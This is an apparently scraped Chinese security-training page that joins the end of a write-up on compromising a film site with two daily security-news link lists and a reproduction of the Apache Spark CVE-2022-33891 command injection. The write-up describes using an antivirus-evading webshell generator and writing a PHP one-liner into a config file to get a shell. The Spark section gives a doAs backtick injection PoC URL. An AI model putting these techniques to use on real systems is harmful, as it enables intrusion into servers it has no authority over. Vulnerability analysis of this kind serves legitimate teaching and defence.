table:hits,y80s_ads,y80s_articles,y80s_bigphotos,y80s_caijis,y80s_cast_infos,y80s_casts,y80s_casts_movies,y80s_directors_movies,y80s_directors,
y80s_dlurls,y80s_dlurls_movies,y80s_doubans,y80s_duoshuo_comments,y80s_forhotmovies,y80s_hits,y80s_hotwords,y80s_infos,y80s_managers,y80s_moviedesc_ups
y80s_ads:
id title name content
y80s_managers:
id,name,password,right_id,lock
四、寻找上传点
发现该网站存在设置影片的图片,直接上免杀马。免杀马是github上大佬写的生成工具,已测试过是可以过360和D盾的。链接:https://github.com/pureqh/Troy
服务器直接报错。多番尝试发现无法上传马。还发现了数据库备份,但是貌似无法修改数据库扩展名。
五、柳暗花明又一村
在查看网站功能的时候,我又发现了另一个好东西:
配置文件编辑。直接把一句话木马写到配置文件里面。通过写入<?php phpinfo();?>后,发现在每个页面初始化的时候,都会去调用该配置文件。直接getshell。
六、小结
闭合规则是花费时间最长的,还有后面要利用的时候,构造payload也是我花费时间最多的,基本都是百度上查,很多都不懂,两个的根本原因还是因为对sql注入,乃至数据库的基础都不是很懂,很多函数,都不知道,不知道有功能有什么函数,在利用的时候就难以下手,耗费大量时间。其次还可通过mysql直接写入shell的,这个也是后面才知道的,不过写入shell的前提条件较为苛刻。
网络安全日报 2022年10月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、欧洲风险投资和私募股权公司 Smartfin收购了Hex-Rays
https://www.securityweek.com/ida-pro-owner-hex-rays-acquired-european-vc-firm 2、工业网络安全市场预计将在未来十年以显着速度增长
https://www.securityweek.com/industrial-cybersecurity-market-expected-soar-next-decade 3、超过 17000 台在线 Fortinet 设备易受到 CVE-2022-40684 的攻击
https://securityaffairs.co/wordpress/137273/hacking/fortinet-cve-2022-40684-vulnerable-systems.html 4、欧洲警方逮捕了一个黑入无线遥控钥匙偷车的团伙
https://thehackernews.com/2022/10/european-police-arrest-gang-that-hacked.html 5、黑客利用Qakbot银行木马部署Brute Ratel C4框架
https://thehackernews.com/2022/10/black-basta-ransomware-hackers.html 6、墨西哥调查“飞马”间谍软件的购买是否经过授权
https://www.cnbeta.com/articles/tech/1327983.htm 7、研究人员发现微软Office 365消息加密方法存在漏洞
https://www.hackread.com/office-365-encryption-flaw-message-confidentiality/ 8、红队工具Cobalt Strike发布更新修复了一个远程代码执行漏洞
https://thehackernews.com/2022/10/critical-rce-vulnerability-discovered.html 9、新的PHP信息窃取恶意软件针对Facebook帐户
https://www.bleepingcomputer.com/news/security/new-php-information-stealing-malware-targets-facebook-accounts/ 10、苹果承认部分iPhone 14存在“不支持SIM卡”问题
https://www.cnbeta.com/articles/tech/1327955.htm
Apache Spark UI 命令注入漏洞 CVE-2022-33891
漏洞简介
Apache Spark UI 提供了通过配置选项 spark.acls.enable。 使用身份验证过滤器,这检查用户是否有访问权限来查看或修改应用。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后恶意用户可能能够访问权限检查功能,最终将根据他们的输入构建一个 Unix shell 命令,并且执行它。这将导致任意 shell 命令执行。
影响版本:Apache Spark 版本 3.0.3 及更早版本,版本 3.11 至 3.1.2 ,以及版本 3.2.0 至 3.2.1
漏洞复现
下载 Apache Spark 3.2.1 https://archive.apache.org/dist/spark/
https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz
根据描述是需要开启 acl 功能才可以触发漏洞
开启 ACL 可以通过设定启动时的参数 ./spark-shell --conf spark.acls.enable=true 或者在 conf/spark-defaults.conf 中添加 spark.acls.enable true
构造 poc
http://localhost:4040/?doAs=`[command injection here]`
漏洞分析
为了方便调试在启动脚本中添加上调试参数
export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
输入错误的执行语句时的报错信息
漏洞的触发大概就在 org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups
漏洞的调用栈应该为
org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71)
org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238)
org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381)
org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2523)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)
加上断点进行调试分析
org.apache.spark.ui.HttpSecurityFilter#doFilter
获取到参数 doAS 赋值为 effectiveUser 传到函数 checkUIViewPermissions
org.apache.spark.SecurityManager#checkUIViewPermissions
org.apache.spark.SecurityManager#isUserInACL
org.apache.spark.util.Utils$#getCurrentUserGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups
通过反引号将想要执行的命令包含起来,拼接到原本的命令执行语句中
org.apache.spark.util.Utils$#executeAndGetOutput
org.apache.spark.util.Utils$#executeCommand
漏洞补丁
新版本的修复 删除了 ShellBasedGroupsMappingProvider 中的 bash 的调用,最后执行命令的语句应该变为/usr/bin/id -Gn + 传入参数
网络安全日报 2022年10月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员绕过了微软更新的"ProxyNotShell "漏洞修复指导方案
https://www.4hou.com/posts/q8nR 2、Zoom for macOS 推出补丁修复高危漏洞
https://www.securityweek.com/zoom-macos-contains-high-risk-security-flaw 3、新 UEFI rootkit Black Lotus 售价 5,000 美元
https://securityaffairs.co/wordpress/137252/malware/black-lotus-uefi-rootkit.html 4、日本科技公司 Oomiya 的 IT 基础设施遭 LockBit 3.0 勒索软件攻击
https://securityaffairs.co/wordpress/137243/cyber-crime/oomiya-lockbit-3-0-ransomware.html 5、国际刑警组织逮捕了网络犯罪团伙 Black Axe 的 75 名成员
https://securityaffairs.co/wordpress/137220/cyber-crime/interpol-arrests-black-axe-members.html 6、Venus勒索软件对公开暴露的远程桌面服务发起攻击
https://www.bleepingcomputer.com/news/security/venus-ransomware-targets-publicly-exposed-remote-desktop-services/ 7、CISA发布RedEye开源分析工具
https://www.helpnetsecurity.com/2022/10/17/cisa-redeye-open-source-analytic-tool/ 8、公网中超过45000台ESXi服务器生命周期结束,易受攻击
https://www.bleepingcomputer.com/news/security/over-45-000-vmware-esxi-servers-just-reached-end-of-life/ 9、0path补丁服务为Windows 7系统额外提供2年支持至2025年
https://www.cnbeta.com/articles/tech/1326971.htm 10、关键 Fortinet 身份验证绕过漏洞的POC已经发布
https://thehackernews.com/2022/10/poc-exploit-released-for-critical.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

